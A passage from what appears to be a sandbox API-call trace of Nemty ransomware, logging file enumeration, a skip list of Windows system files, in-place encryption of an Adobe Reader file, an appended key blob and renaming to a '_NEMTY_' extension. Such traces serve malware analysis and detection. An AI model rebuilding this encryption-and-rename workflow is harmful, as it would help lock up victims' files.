returned 0 [0213.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.936] CloseHandle (hObject=0xffffffff) returned 0 [0213.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0213.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0213.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.936] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\v._nemty_kgobjgd_")) returned 0 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0213.936] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 0 [0213.936] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0213.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0213.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351eb8 | out: hHeap=0x4f90000) returned 1 [0213.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351e40 | out: hHeap=0x4f90000) returned 1 [0213.938] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2=".") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="..") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="...") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="windows") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="$RECYCLE.BIN") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="rsa") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="NTDETECT.COM") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="ntldr") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="MSDOS.SYS") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="IO.SYS") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="boot.ini") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="boot.ini") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="ntuser.dat") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="desktop.ini") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="CONFIG.SYS") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="RECYCLER") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="BOOTSECT.BAK") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="bootmgr") returned 1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="programdata") returned -1 [0213.938] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="appdata") returned 1 [0213.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0213.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENUtxt.pdf", lpUsedDefaultChar=0x0) returned 10 [0213.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0213.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENUtxt.pdf", lpUsedDefaultChar=0x0) returned 10 [0213.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0213.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x653ef60, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENUtxt.pdf", lpUsedDefaultChar=0x0) returned 10 [0213.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0213.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x653ef98, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENUtxt.pdf", lpUsedDefaultChar=0x0) returned 10 [0213.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0213.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0213.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0213.939] Sleep (dwMilliseconds=0x5) [0213.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x3329ad70, dwHighDateTime=0x1d561e8)) [0213.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x3329ad70, dwHighDateTime=0x1d561e8)) [0213.952] GetLastError () returned 0x12 [0213.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.952] GetLastError () returned 0x12 [0213.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0213.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0213.953] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0213.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0213.953] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ec5c | out: pszString="DVmF9k40hvinI2e9fE8AE7VGrng/vOZdIuVvGFWwkMPZFANqaiW1WXVCsE9Tylwl\r\n4oRQxCoIeCps1eWec2YvkylU2ux8BV2SMvuUnaL5GtV1J09ahH55B47w0Iof2afJ\r\nUhWu9py1Pwf/v3oS+bM5gD3n1vIbraV2NRfkjtBU7mvGcq4OfpZlMzxLpIA4+aD6\r\n0IA99XKs1QZ0GfD4cxcSCRoE/Wy9TH141lLl9oGGF6Ha1ufbMVlAQMWTBM/9MKky\r\nCgdD0VKxkbHszsbekTn6KdXgv+NUSL1Xat2Gbql0ZgzTUaHfcaH+u/FY27KsIDnz\r\na4GHtbnuTQd2F4N4rvNcBA==\r\n", pcchString=0x653ec5c) returned 1 [0213.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0213.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0213.954] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=7582) returned 1 [0213.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1d90) returned 0x6352c48 [0213.954] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.954] ReadFile (in: hFile=0x1ec, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1d90, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eea4*=0x1d90, lpOverlapped=0x0) returned 1 [0213.956] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.956] WriteFile (in: hFile=0x1ec, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653ee9c*=0x1d90, lpOverlapped=0x0) returned 1 [0213.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.956] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9e [0213.956] WriteFile (in: hFile=0x1ec, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0213.957] CloseHandle (hObject=0x1ec) returned 1 [0213.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0213.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0213.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0213.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0213.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.957] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf._nemty_kgobjgd_")) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: 